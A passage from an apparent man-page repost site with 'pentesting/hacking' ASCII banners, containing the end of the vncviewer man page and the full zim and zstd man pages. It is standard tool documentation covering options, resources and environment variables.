Like Zlib encoding, Tight encoding uses zlib library to compress the pixel data, but it pre-processes data to maximize compression ratios, and to minimize CPU usage on compression. Also, JPEG compression may be used to encode color-rich screen areas (see the description of -quality and -nojpeg options above). Tight encoding is usually the best choice for low-bandwidth network environments (e.g. slow modem connections).

RESOURCES

X resources that vncviewer knows about, aside from the normal Xt resources, are as follows:

shareDesktop
Equivalent of -shared/-noshared options. Default true.

viewOnly
Equivalent of -viewonly option. Default false.

fullScreen
Equivalent of -fullscreen option. Default false.

grabKeyboard
Grab keyboard in full-screen mode. This can help to solve problems with losing keyboard focus. Default false.

raiseOnBeep
Equivalent of -noraiseonbeep option, when set to false. Default true.

passwordFile
Equivalent of -passwd option.

passwordDialog
Whether to use a dialog box to get the password (true) or get it from the tty (false). Irrelevant if passwordFile is set. Default false.

encodings
Equivalent of -encodings option.

compressLevel
Equivalent of -compresslevel option (TightVNC-specific).

qualityLevel
Equivalent of -quality option (TightVNC-specific).

enableJPEG
Equivalent of -nojpeg option, when set to false. Default true.

useRemoteCursor
Equivalent of -nocursorshape option, when set to false (TightVNC-specific). Default true.

useBGR233
Equivalent of -bgr233 option. Default false.

nColours
When using BGR233, try to allocate this many “exact” colors from the BGR233 color cube. When using a shared colormap, setting this resource lower leaves more colors for other X clients. Irrelevant when using truecolor. Default is 256 (i.e. all of them).

useSharedColours
If the number of “exact” BGR233 colors successfully allocated is less than 256 then the rest are filled in using the “nearest” colors available. This resource says whether to only use the “exact” BGR233 colors for this purpose, or whether to use other clients’ “shared” colors as well. Default true (i.e. use other clients’ colors).

forceOwnCmap
Equivalent of -owncmap option. Default false.

forceTrueColour
Equivalent of -truecolour option. Default false.

requestedDepth
Equivalent of -depth option.

useSharedMemory
Use MIT shared memory extension if on the same machine as the X server. Default true.

wmDecorationWidth, wmDecorationHeight
The total width and height taken up by window manager decorations. This is used to calculate the maximum size of the VNC viewer window. Default is width 4, height 24.

bumpScrollTime, bumpScrollPixels
When in full screen mode and the VNC desktop is bigger than the X display, scrolling happens whenever the mouse hits the edge of the screen. The maximum speed of scrolling is bumpScrollPixels pixels every bumpScrollTime milliseconds. The actual speed of scrolling will be slower than this, of course, depending on how fast your machine is. Default 20 pixels every 25 milliseconds.

popupButtonCount
The number of buttons in the popup window. See the README file for more information on how to customize the buttons.

debug
For debugging. Default false.

rawDelay, copyRectDelay
For debugging, see the README file for details. Default 0 (off).

ENVIRONMENT

When started with the -via option, vncviewer reads the VNC_VIA_CMD environment variable, expands patterns beginning with the “%” character, and executes result as a command assuming that it would create TCP tunnel that should be used for VNC connection. If not set, this environment variable defaults to “/usr/bin/ssh -f -L %L:%H:%R %G sleep 20”.

The following patterns are recognized in the VNC_VIA_CMD (note that all the patterns %G, %H, %L and %R must be present in the command template):

%%
A literal “%”;

%G
gateway host name;

%H
remote VNC host name, as known to the gateway;

%L
local TCP port number;

%R
remote TCP port number.

SEE ALSO

vncserver(1), Xvnc(1), vncpasswd(1), vncconnect(1), ssh(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Terran Melconian <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

807 - Linux cli command zim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zim and provides detailed information about the command zim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zim.

NAME 🖥️ zim 🖥️

A Desktop Wiki Editor

SYNOPSIS

usage: zim [OPTIONS] [NOTEBOOK [PAGE_LINK]] or: zim –gui [OPTIONS] [NOTEBOOK [PAGE_LINK]] or: zim –server [OPTIONS] [NOTEBOOK] or: zim –export [OPTIONS] NOTEBOOK [PAGE] or: zim –search NOTEBOOK QUERY or: zim –index [OPTIONS] NOTEBOOK or: zim –plugin PLUGIN [ARGUMENTS] or: zim –manual [OPTIONS] [PAGE_LINK] or: zim –help

NOTEBOOK can be a local file path, a local file URI or a notebook name PAGE is be a fully specified page name PAGE_LINK is a fully specified page name optionally extended with an anchor ID

DESCRIPTION

Zim is a graphical text editor used to maintain a collection of wiki pages. Each page can contain links to other pages, simple formatting, and images. Pages are stored in a folder structure, like in an outliner, and can have attachments. Creating a new page is as easy as linking to a nonexistent page. All data is stored in plain text files with wiki formatting. Various plugins provide additional functionality, like a task list manager, an equation editor, a tray icon, and support for version control.

Zim can be used to:

  • Keep an archive of notes

  • Keep a daily or weekly journal

  • Take notes during meetings or lectures

  • Organize task lists

  • Draft blog entries and emails

  • Do brainstorming

OPTIONS

General Options: –gui run the editor (this is the default) –server run the web server –export export to a different format –search run a search query on a notebook –index build an index for a notebook –plugin call a specific plugin function –manual open the user manual -V, –verbose print information to terminal -D, –debug print debug messages -v, –version print version and exit -h, –help print this text

GUI Options: –list show the list with notebooks instead of opening the default notebook –geometry window size and position as WxH+X+Y –fullscreen start in fullscreen mode –standalone start a single instance, no background process

Server Options: –port port to use (defaults to 8080) –template name or filepath of the template to use –private serve only to localhost –gui run the gui wrapper for the server

Export Options: -o, –output output directory (mandatory option) –format format to use (defaults to ‘html’) –template name or filepath of the template to use –root-url url to use for the document root –index-page index page name -r, –recursive when exporting a page, also export sub-pages -s, –singlefile export all pages to a single output file -O, –overwrite force overwriting existing file(s)

Search Options: None

Index Options: -f, –flush flush the index first and force re-building

Try ‘zim –manual’ for more help.

AUTHOR

Jaap Karssenberg <[email protected]>

SEE ALSO

The full documentation for zim is maintained as a zim notebook. The command

zim –manual

should give you access to the complete manual.

The website for zim can be found at https://www.zim-wiki.org

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

808 - Linux cli command zstd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zstd and provides detailed information about the command zstd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zstd.

NAME 🖥️ zstd 🖥️

zstd, zstdmt, unzstd, zstdcat - Compress or decompress .zst files

SYNOPSIS

zstd [OPTIONS] [-|INPUT-FILE] [-o OUTPUT-FILE]

zstdmt is equivalent to zstd -T0

unzstd is equivalent to zstd -d

zstdcat is equivalent to zstd -dcf

DESCRIPTION

zstd is a fast lossless compression algorithm and data compression tool, with command line syntax similar to gzip(1) and xz(1). It is based on the LZ77 family, with further FSE & huff0 entropy stages. zstd offers highly configurable compression speed, from fast modes at > 200 MB/s per core, to strong modes with excellent compression ratios. It also features a very fast decoder, with speeds > 500 MB/s per core, which remains roughly stable at all compression settings.

zstd command line syntax is generally similar to gzip, but features the following few differences:

  • Source files are preserved by default. It’s possible to remove them automatically by using the –rm command.

  • When compressing a single file, zstd displays progress notifications and result summary by default. Use -q to turn them off.

  • zstd displays a short help page when command line is an error. Use -q to turn it off.

  • zstd does not accept input from console, though it does accept stdin when it’s not the console.

  • zstd does not store the input’s filename or attributes, only its contents.

zstd processes each file according to the selected operation mode. If no files are given or file is -, zstd reads from standard input and writes the processed data to standard output. zstd will refuse to write compressed data to standard output if it is a terminal: it will display an error message and skip the file. Similarly, zstd will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout or -o is specified, files are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix .zst is appended to the source filename to get the target filename.

  • When decompressing, the .zst suffix is removed from the source filename to get the target filename

Concatenation with .zst Files

It is possible to concatenate multiple .zst files. zstd will decompress such agglomerated file as if it was a single .zst file.

OPTIONS

Integer Suffixes and Special Values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, M, and MB are accepted as synonyms for MiB.

Operation Mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unzstd implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout > /dev/null, decompressed data is discarded and checksummed for errors. No files are created or removed.

-b#
Benchmark file(s) using compression level #. See BENCHMARK below for a description of this operation.

–train FILES
Use FILES as a training set to create a dictionary. The training set should contain a lot of small files (> 100). See DICTIONARY BUILDER below for a description of this operation.

-l, –list
Display information related to a zstd compressed file, such as size, ratio, and checksum. Some of these fields may not be available. This command’s output can be augmented with the -v modifier.

Operation Modifiers

  • -#: selects # compression level [1-19] (default: 3). Higher compression levels generally produce higher compression ratio at the expense of speed and memory. A rough rule of thumb is that compression speed is expected to be divided by 2 every 2 levels. Technically, each level is mapped to a set of advanced parameters (that can also be modified individually, see below). Because the compressor’s behavior highly depends on the content to compress, there’s no guarantee of a smooth progression from one level to another.

  • –ultra: unlocks high compression levels 20+ (maximum 22), using a lot more memory. Note that decompression will also require more memory when using these levels.

  • –fast[=#]: switch to ultra-fast compression levels. If =# is not present, it defaults to 1. The higher the value, the faster the compression speed, at the cost of some compression ratio. This setting overwrites compression level if one was set previously. Similarly, if a compression level is set after –fast, it overrides it.

  • -T#, –threads=#: Compress using # working threads (default: 1). If # is 0, attempt to detect and use the number of physical CPU cores. In all cases, the nb of threads is capped to ZSTDMT_NBWORKERS_MAX, which is either 64 in 32-bit mode, or 256 for 64-bit environments. This modifier does nothing if zstd is compiled without multithread support.

  • –single-thread: Use a single thread for both I/O and compression. As compression is serialized with I/O, this can be slightly slower. Single-thread mode features significantly lower memory usage, which can be useful for systems with limited amount of memory, such as 32-bit systems.

    Note 1: this mode is the only available one when multithread support is disabled.

    Note 2: this mode is different from -T1, which spawns 1 compression thread in parallel with I/O. Final compressed result is also slightly different from -T1.

  • –auto-threads={physical,logical} (default: physical): When using a default amount of threads via -T0, choose the default based on the number of detected physical or logical cores.

  • –adapt[=min=#,max=#]: zstd will dynamically adapt compression level to perceived I/O conditions. Compression level adaptation can be observed live by using command -v. Adaptation can be constrained between supplied min and max levels. The feature works when combined with multi-threading and –long mode. It does not work with –single-thread. It sets window size to 8 MiB by default (can be changed manually, see wlog). Due to the chaotic nature of dynamic adaptation, compressed result is not reproducible.

    Note: at the time of this writing, –adapt can remain stuck at low speed when combined with multiple worker threads (>=2).

  • –long[=#]: enables long distance matching with # windowLog, if # is not present it defaults to 27. This increases the window size (windowLog) and memory usage for both the compressor and decompressor. This setting is designed to improve the compression ratio for files with long matches at a large distance.

    Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

  • -D DICT: use DICT as Dictionary to compress or decompress FILE(s)

  • –patch-from FILE: Specify the file to be used as a reference point for zstd’s diff engine. This is effectively dictionary compression with some convenient parameter selection, namely that windowSize > srcSize.

    Note: cannot use both this and -D together.

    Note: –long mode will be automatically activated if chainLog < fileLog (fileLog being the windowLog required to cover the whole file). You can also manually force it.

    Note: for all levels, you can use –patch-from in –single-thread mode to improve compression ratio at the cost of speed.

    Note: for level 19, you can get increased compression ratio at the cost of speed by specifying –zstd=targetLength= to be something large (i.e. 4096), and by setting a large –zstd=chainLog=.

  • –rsyncable: zstd will periodically synchronize the compression state to make the compressed file more rsync-friendly. There is a negligible impact to compression ratio, and a potential impact to compression speed, perceptible at higher speeds, for example when combining –rsyncable with many parallel worker threads. This feature does not work with –single-thread. You probably don’t want to use it with long range mode, since it will decrease the effectiveness of the synchronization points, but your mileage may vary.

  • -C, –[no-]check: add integrity check computed from uncompressed data (default: enabled)

  • –[no-]content-size: enable / disable whether or not the original size of the file is placed in the header of the compressed file. The default option is –content-size (meaning that the original size will be placed in the header).

  • –no-dictID: do not store dictionary ID within frame header (dictionary compression). The decoder will have to rely on implicit knowledge about which dictionary to use, it won’t be able to check if it’s correct.

  • -M#, –memory=#: Set a memory usage limit. By default, zstd uses 128 MiB for decompression as the maximum amount of memory the decompressor is allowed to use, but you can override this manually if need be in either direction (i.e. you can increase or decrease it).

    This is also used during compression when using with –patch-from=. In this case, this parameter overrides that maximum size allowed for a dictionary. (128 MiB).

    Additionally, this can be used to limit memory for dictionary training. This parameter overrides the default limit of 2 GiB. zstd will load training samples up to the memory limit and ignore the rest.

  • –stream-size=#: Sets the pledged source size of input coming from a stream. This value must be exact, as it will be included in the produced frame header. Incorrect stream sizes will cause an error. This information will be used to better optimize compression parameters, resulting in better and potentially faster compression, especially for smaller source sizes.

  • –size-hint=#: When handling input from a stream, zstd must guess how large the source size will be when optimizing compression parameters. If the stream size is relatively small, this guess may be a poor one, resulting in a higher compression ratio than expected. This feature allows for controlling the guess when needed. Exact guesses result in better compression ratios. Overestimates result in slightly degraded compression ratios, while underestimates may result in significant degradation.

  • –target-compressed-block-size=#: Attempt to produce compressed blocks of approximately this size. This will split larger blocks in order to approach this target. This feature is notably useful for improved latency, when the receiver can leverage receiving early incomplete data. This parameter defines a loose target: compressed blocks will target this size “on average”, but individual blocks can still be larger or smaller. Enabling this feature can decrease compression speed by up to ~10% at level 1. Higher levels will see smaller relative speed regression, becoming invisible at higher settings.

  • -f, –force: disable input and output checks. Allows overwriting existing files, input from console, output to stdout, operating on links, block devices, etc. During decompression and when the output destination is stdout, pass-through unrecognized formats as-is.

  • -c, –stdout: write to standard output (even if it is the console); keep original files (disable –rm).

  • -o FILE: save result into FILE. Note that this operation is in conflict with -c. If both operations are present on the command line, the last expressed one wins.

  • –[no-]sparse: enable / disable sparse FS support, to make files with many zeroes smaller on disk. Creating sparse files may save disk space and speed up decompression by reducing the amount of disk I/O. default: enabled when output is into a file, and disabled when output is stdout. This setting overrides default and can force sparse mode over stdout.

  • –[no-]pass-through enable / disable passing through uncompressed files as-is. During decompression when pass-through is enabled, unrecognized formats will be copied as-is from the input to the output. By default, pass-through will occur when the output destination is stdout and the force (-f) option is set.

  • –rm: remove source file(s) after successful compression or decompression. This command is silently ignored if output is stdout. If used in combination with -o, triggers a confirmation prompt (which can be silenced with -f), as this is a destructive operation.

  • -k, –keep: keep source file(s) after successful compression or decompression. This is the default behavior.

  • -r: operate recursively on directories. It selects all files in the named directory and all its subdirectories. This can be useful both to reduce command line typing, and to circumvent shell expansion limitations, when there are a lot of files and naming breaks the maximum size of a command line.

  • –filelist FILE read a list of files to process as content from FILE. Format is compatible with ls output, with one file per line.

  • –output-dir-flat DIR: resulting files are stored into target DIR directory, instead of same directory as origin file. Be aware that this command can introduce name collision issues, if multiple files, from different directories, end up having the same name. Collision resolution ensures first file with a given name will be present in DIR, while in combination with -f, the last file will be present instead.

  • –output-dir-mirror DIR: similar to –output-dir-flat, the output files are stored underneath target DIR directory, but this option will replicate input directory hierarchy into output DIR.

    If input directory contains “..”, the files in this directory will be ignored. If input directory is an absolute directory (i.e. “/var/tmp/abc”), it will be stored into the “output-dir/var/tmp/abc”. If there are multiple input files or directories, name collision resolution will follow the same rules as –output-dir-flat.

  • –format=FORMAT: compress and decompress in other formats. If compiled with support, zstd can compress to or decompress from other compression algorithm formats. Possibly available options are zstd, gzip, xz, lzma, and lz4. If no such format is provided, zstd is the default.

  • -h/-H, –help: display help/long help and exit

  • -V, –version: display version number and immediately exit. note that, since it exits, flags specified after -V are effectively ignored. Advanced: -vV also displays supported formats. -vvV also displays POSIX support. -qV will only display the version number, suitable for machine reading.

  • -v, –verbose: verbose mode, display more information

  • -q, –quiet: suppress warnings, interactivity, and notifications. specify twice to suppress errors too.

  • –no-progress: do not display the progress bar, but keep all other messages.

  • –show-default-cparams: shows the default compression parameters that will be used for a particular input file, based on the provided compression level and the input size. If the provided file is not a regular file (e.g. a pipe), this flag will output the parameters used for inputs of unknown size.

  • –exclude-compressed: only compress files that are not already compressed.

  • : All arguments after are treated as files

gzip Operation Modifiers

When invoked via a gzip symlink, zstd will support further options that intend to mimic the gzip behavior:

-n, –no-name
do not store the original filename and timestamps when compressing a file. This is the default behavior and hence a no-op.

–best
alias to the option -9.

Environment Variables

Employing environment variables to set parameters has security implications. Therefore, this avenue is intentionally limited. Only ZSTD_CLEVEL and ZSTD_NBTHREADS are currently supported. They set the default compression level and number of threads to use during compression, respectively.

ZSTD_CLEVEL can be used to set the level between 1 and 19 (the “normal” range). If the value of ZSTD_CLEVEL is not a valid integer, it will be ignored with a warning message. ZSTD_CLEVEL just replaces the default compression level (3).

ZSTD_NBTHREADS can be used to set the number of threads zstd will attempt to use during compression. If the value of ZSTD_NBTHREADS is not a valid unsigned integer, it will be ignored with a warning message. ZSTD_NBTHREADS has a default value of (1), and is capped at ZSTDMT_NBWORKERS_MAX==200. zstd must be compiled with multithread support for this variable to have any effect.

They can both be overridden by corresponding command line arguments: -# for compression level and -T# for number of compression threads.

ADVANCED COMPRESSION OPTIONS

zstd provides 22 predefined regular compression levels plus the fast levels. A compression level is translated internally into multiple advanced parameters that control the behavior of the compressor (one can observe the result of this translation with –show-default-cparams). These advanced parameters can be overridden using advanced compression options.

–zstd[=options]:

The options are provided as a comma-separated list. You may specify only the options you want to change and the rest will be taken from the selected or default compression level. The list of available options:

strategy=strat, strat=strat
Specify a strategy used by a match finder.

There are 9 strategies numbered from 1 to 9, from fastest to strongest: 1=ZSTD_fast, 2=ZSTD_dfast, 3=ZSTD_greedy, 4=ZSTD_lazy, 5=ZSTD_lazy2, 6=ZSTD_btlazy2, 7=ZSTD_btopt, 8=ZSTD_btultra, 9=ZSTD_btultra2.

windowLog=wlog, wlog=wlog
Specify the maximum number of bits for a match distance.

The higher number of increases the chance to find a match which usually improves compression ratio. It also increases memory requirements for the compressor and decompressor. The minimum wlog is 10 (1 KiB) and the maximum is 30 (1 GiB) on 32-bit platforms and 31 (2 GiB) on 64-bit platforms.

Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

hashLog=hlog, hlog=hlog
Specify the maximum number of bits for a hash table.

Bigger hash tables cause fewer collisions which usually makes compression faster, but requires more memory during compression.

The minimum hlog is 6 (64 entries / 256 B) and the maximum is 30 (1B entries / 4 GiB).

chainLog=clog, clog=clog
Specify the maximum number of bits for the secondary search structure, whose form depends on the selected strategy.

Higher numbers of bits increases the chance to find a match which usually improves compression ratio. It also slows down compression speed and increases memory requirements for compression. This option is ignored for the ZSTD_fast strategy, which only has the primary hash table.

The minimum clog is 6 (64 entries / 256 B) and the maximum is 29 (512M entries / 2 GiB) on 32-bit platforms and 30 (1B entries / 4 GiB) on 64-bit platforms.

searchLog=slog, slog=slog
Specify the maximum number of searches in a hash chain or a binary tree using logarithmic scale.

More searches increases the chance to find a match which usually increases compression ratio but decreases compression speed.

The minimum slog is 1 and the maximum is ‘windowLog’ - 1.

minMatch=mml, mml=mml
Specify the minimum searched length of a match in a hash table.

Larger search lengths usually decrease compression ratio but improve decompression speed.

The minimum mml is 3 and the maximum is 7.

targetLength=tlen, tlen=tlen
The impact of this field vary depending on selected strategy.

For ZSTD_btopt, ZSTD_btultra and ZSTD_btultra2, it specifies the minimum match length that causes match finder to stop searching. A larger targetLength usually improves compression ratio but decreases compression speed.

For ZSTD_fast, it triggers ultra-fast mode when > 0. The value represents the amount of data skipped between match sampling. Impact is reversed: a larger targetLength increases compression speed but decreases compression ratio.

For all other strategies, this field has no impact.

The minimum tlen is 0 and the maximum is 128 KiB.

overlapLog=ovlog, ovlog=ovlog
Determine overlapSize, amount of data reloaded from previous job. This parameter is only available when multithreading is enabled. Reloading more data improves compression ratio, but decreases speed.

The minimum ovlog is 0, and the maximum is 9. 1 means “no overlap”, hence completely independent jobs. 9 means “full overlap”, meaning up to windowSize is reloaded from previous job. Reducing ovlog by 1 reduces the reloaded amount by a factor 2. For example, 8 means “windowSize/2”, and 6 means “windowSize/8”. Value 0 is special and means “default”: ovlog is automatically determined by zstd. In which case, ovlog will range from 6 to 9, depending on selected strat.

ldmHashLog=lhlog, lhlog=lhlog
Specify the maximum size for a hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Bigger hash tables usually improve compression ratio at the expense of more memory during compression and a decrease in compression speed.

The minimum lhlog is 6 and the maximum is 30 (default: 20).

ldmMinMatch=lmml, lmml=lmml
Specify the minimum searched length of a match for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger/very small values usually decrease compression ratio.

The minimum lmml is 4 and the maximum is 4096 (default: 64).

ldmBucketSizeLog=lblog, lblog=lblog
Specify the size of each bucket for the hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger bucket sizes improve collision resolution but decrease compression speed.

The minimum lblog is 1 and the maximum is 8 (default: 3).

ldmHashRateLog=lhrlog, lhrlog=lhrlog
Specify the frequency of inserting entries into the long distance matching hash table.

This option is ignored unless long distance matching is enabled.

Larger values will improve compression speed. Deviating far from the default value will likely result in a decrease in compression ratio.

The default value is wlog - lhlog.

Example

The following parameters sets advanced compression options to something similar to predefined level 19 for files bigger than 256 KB:

–zstd=wlog=23,clog=23,hlog=22,slog=6,mml=3,tlen=48,strat=6

-B#:

Specify the size of each compression job. This parameter is only available when multi-threading is enabled. Each compression job is run in parallel, so this value indirectly impacts the nb of active threads. Default job size varies depending on compression level (generally 4 * windowSize). -B# makes it possible to manually select a custom size. Note that job size must respect a minimum value which is enforced transparently. This minimum is either 512 KB, or overlapSize, whichever is largest. Different job sizes will lead to non-identical compressed frames.

DICTIONARY BUILDER

zstd offers dictionary compression, which greatly improves efficiency on small files and messages. It’s possible to train zstd with a set of samples, the result of which is saved into a file called a dictionary. Then, during compression and decompression, reference the same dictionary, using command -D dictionaryFileName. Compression of small files similar to the sample set will be greatly improved.

–train FILEs
Use FILEs as training set to create a dictionary. The training set should ideally contain a lot of samples (> 100), and weight typically 100x the target dictionary size (for example, ~10 MB for a 100 KB dictionary). –train can be combined with -r to indicate a directory rather than listing all the files, which can be useful to circumvent shell expansion limits.

Since dictionary compression is mostly effective for small files, the expectation is that the training set will only contain small files. In the case where some samples happen to be large, only the first 128 KiB of these samples will be used for training.

–train supports multithreading if zstd is compiled with threading support (default). Additional advanced parameters can be specified with –train-fastcover. The legacy dictionary builder can be accessed with –train-legacy. The slower cover dictionary builder can be accessed with –train-cover. Default –train is equivalent to –train-fastcover=d=8,steps=4.

-o FILE
Dictionary saved into FILE (default name: dictionary).

–maxdict=#
Limit dictionary to specified size (default: 112640 bytes). As usual, quantities are expressed in bytes by default, and it’s possible to employ suffixes (like KB or MB) to specify larger values.

-#
Use # compression level during training (optional). Will generate statistics more tuned for selected compression level, resulting in a small compression ratio improvement for this level.

-B#
Split input files into blocks of size # (default: no split)

-M#, –memory=#
Limit the amount of sample data loaded for training (default: 2 GB). Note that the default (2 GB) is also the maximum. This parameter can be useful in situations where the training set size is not well controlled and could be potentially very large. Since speed of the training process is directly correlated to the size of the training sample set, a smaller sample set leads to faster training.

In situations where the training set is larger than maximum memory, the CLI will randomly select samples among the available ones, up to the maximum allowed memory budget. This is meant to improve dictionary relevance by mitigating the potential impact of clustering, such as selecting only files from the beginning of a list sorted by modification date, or sorted by alphabetical order. The randomization process is deterministic, so training of the same list of files with the same parameters will lead to the creation of the same dictionary.

–dictID=#
A dictionary ID is a locally unique ID. The decoder will use this value to verify it is using the right dictionary. By default, zstd will create a 4-bytes random number ID. It’s possible to provide an explicit number ID instead. It’s up to the dictionary manager to not assign twice the same ID to 2 different dictionaries. Note that short numbers have an advantage: an ID < 256 will only need 1 byte in the compressed frame header, and an ID < 65536 will only need 2 bytes. This compares favorably to 4 bytes default.

Note that RFC8878 reserves IDs less than 32768 and greater than or equal to 2^31, so they should not be used in public.

–train-cover[=k#,d=#,steps=#,split=#,shrink[=#]]
Select parameters for the default dictionary builder algorithm named cover. If d is not specified, then it tries d = 6 and d = 8. If k is not specified, then it tries steps values in the range [50, 2000]. If steps is not specified, then the default value of 40 is used. If split is not specified or split <= 0, then the default value of 100 is used. Requires that d <= k. If shrink flag is not used, then the default value for shrinkDict of 0 is used. If shrink is not specified, then the default value for shrinkDictMaxRegression of 1 is used.

Selects segments of size k with highest score to put in the dictionary. The score of a segment is computed by the sum of the frequencies of all the subsegments of size d. Generally d should be in the range [6, 8], occasionally up to 16, but the algorithm will run faster with d <= 8. Good values for k vary widely based on the input data, but a safe range is [2 * d, 2000]. If split is 100, all input samples are used for both training and testing to find optimal d and k to build dictionary. Supports multithreading if zstd is compiled with threading support. Having shrink enabled takes a truncated dictionary of minimum size and doubles in size until compression ratio of the truncated dictionary is at most shrinkDictMaxRegression% worse than the compression ratio of the largest dictionary.

Examples:

zstd –train-cover FILEs

zstd –train-cover=k=50,d=8 FILEs

zstd –train-cover=d=8,steps=500 FILEs

zstd –train-cover=k=50 FILEs

zstd –train-cover=k=50,split=60 FILEs

zstd –train-cover=shrink FILEs

zstd –train-cover=shrink=2 FILEs

–train-fastcover[=k#,d=#,f=#,steps=#,split=#,accel=#]
Same as cover but with extra parameters f and accel and different default value of split If split is not specified, then it tries split = 75. If f is not specified, then it tries f = 20. Requires that 0 < f < 32. If accel is not specified, then it tries accel = 1. Requires that 0 < accel <= 10. Requires that d = 6 or d = 8.

f is log of size of array that keeps track of frequency of subsegments of size d. The subsegment is hashed to an index in the range [0,2^f - 1]. It is possible that 2 different subsegments are hashed to the same index, and they are considered as the same subsegment when computing frequency. Using a higher f reduces collision but takes longer.

Examples:

zstd –train-fastcover FILEs

zstd –train-fastcover=d=8,f=15,accel=2 FILEs

–train-legacy[=selectivity=#]
Use legacy dictionary builder algorithm with the given dictionary selectivity (default: 9). The smaller the selectivity value, the denser the dictionary, improving its efficiency but reducing its achievable maximum size. –train-legacy=s=# is also accepted.

Examples:

zstd –train-legacy FILEs

zstd –train-legacy=selectivity=8 FILEs

BENCHMARK

The zstd CLI provides a benchmarking mode that can be used to easily find suitable compression parameters, or alternatively to benchmark a computer’s performance. Note that the results are highly dependent on the content being compressed.

-b#
benchmark file(s) using compression level #

-e#
benchmark file(s) using multiple compression levels, from -b# to -e# (inclusive)

-d
benchmark decompression speed only (requires providing an already zstd-compressed content)

-i#
minimum evaluation time, in seconds (default: 3s), benchmark mode only

-B#, –block-size=#
cut file(s) into independent chunks of size # (default: no chunking)

–priority=rt
set process priority to real-time (Windows)

Output Format: CompressionLevel#Filename: InputSize -> OutputSize (CompressionRatio), CompressionSpeed, DecompressionSpeed

Methodology: For both compression and decompression speed, the entire input is compressed/decompressed in-memory to measure speed. A run lasts at least 1 sec, so when files are small, they are compressed/decompressed several times per run, in order to improve measurement accuracy.

SEE ALSO

zstdgrep(1), zstdless(1), gzip(1), xz(1)

The zstandard format is specified in Y. Collet, “Zstandard Compression and the ‘application/zstd’ Media Type”, https://www.ietf.org/rfc/rfc8878.txt, Internet RFC 8878 (February 2021).

BUGS

Report bugs at: https://github.com/facebook/zstd/issues

AUTHOR

Yann Collet

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

